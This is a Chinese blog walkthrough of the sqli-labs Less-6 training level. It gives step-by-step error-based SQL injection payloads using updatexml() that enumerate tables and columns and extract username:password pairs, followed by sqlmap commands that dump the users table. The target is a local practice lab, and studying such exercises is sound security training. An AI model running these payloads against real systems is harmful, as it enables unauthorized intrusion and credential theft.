sqli-labs:Less-6关卡详细解析

1. 思路🚀

本关的SQL语句为:

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  • 注入类型:字符串型(双引号包裹)
  • 提示:参数id需以"闭合

同样无法像常规一样回显,php输出语句的代码如下:

if($row)
{
	echo '<font size="5" color="#FFFF00">';	
	echo 'You are in...........';
	echo "<br>";
   	echo "</font>";
}

对于很多注入出现无回显的情况,其原因可能是SQL语句查询方式的问题导致,这就需要用到盲注的手段,常用的有:

  • 布尔盲注:逻辑判断
  • 时间盲注:延时判断
  • 报错盲注:报错回显(本关卡解决方法)✅

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-6/,只需要将下面的sql语句粘贴即可。

2.1. 正常请求⚡

?id=1

在这里插入图片描述

说明:测试回显情况


2.2. 判断字段数⚡

?id=1" order by 4 --+
  • order by 4:探测字段数(报错说明字段数=3)

在这里插入图片描述


2.3. 确定回显位⚡

?id=1" and updatexml(1,(select database()),3) --+
  • updatexml 是 MySQL 的一个 XML 处理函数,但它常被用于 报错注入(Error-Based Blind SQL Injection),因为它会在 XPath 解析错误时返回错误信息,从而泄露数据。

在这里插入图片描述

2.4. 获取基础信息

?id=1" and updatexml(1,concat(1,(select database())),3) --+

在这里插入图片描述


2.5. 获取表名⚡

?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) --+

在这里插入图片描述


2.6. 获取字段⚡

?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) --+

在这里插入图片描述


2.7. 获取数据⚡

?id=1" and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3) --+

因为updatexml()函数最多显示32位数据,建议使用concat()搭配limit + offset使用,例如limit n,1,n为起始位置。
在这里插入图片描述


2.8. 参数汇总表⭐

参数作用示例
"闭合符号id=1"
--+注释符--+
order by判断字段数order by 4
updatexml()报错注入函数updatexml(1,(select database()),3)
concat()字符串拼接函数concat('a','b')concat(1,(select database()))
group_concat()合并结果group_concat(table_name)
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. SQLMap工具测试🎯

url地址换成自己的,后面一定要加上id=1,比如:http://localhost:8081/Less-6/?id=1

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-6/?id=1" --batch

# 爆数据库
python sqlmap.py -u "url" --dbs --batch

# 爆表名
python sqlmap.py -u "url" -D security --tables --batch

# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch

# 爆数据
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch

命令1截图:
在这里插入图片描述

命令5截图:
在这里插入图片描述

SQLMap参数表⭐

参数功能
--batch非交互模式
--dbs枚举数据库
-D指定数据库
-T指定表
-C指定列
--dump导出数据

4. 总结🏁

关卡6和关卡5其解法一致,建议移步到关卡5的解析(该解析较为详细),sqli-labs:Less-5关卡详细解析:
https://blog.youkuaiyun.com/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209
如有不懂,关卡1的解析更为详细(更为基础),相信你会有收获,sqli-labs:Less-1关卡详细解析:https://blog.youkuaiyun.com/qq_62000508/article/details/149773926?spm=1011.2124.3001.6209


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值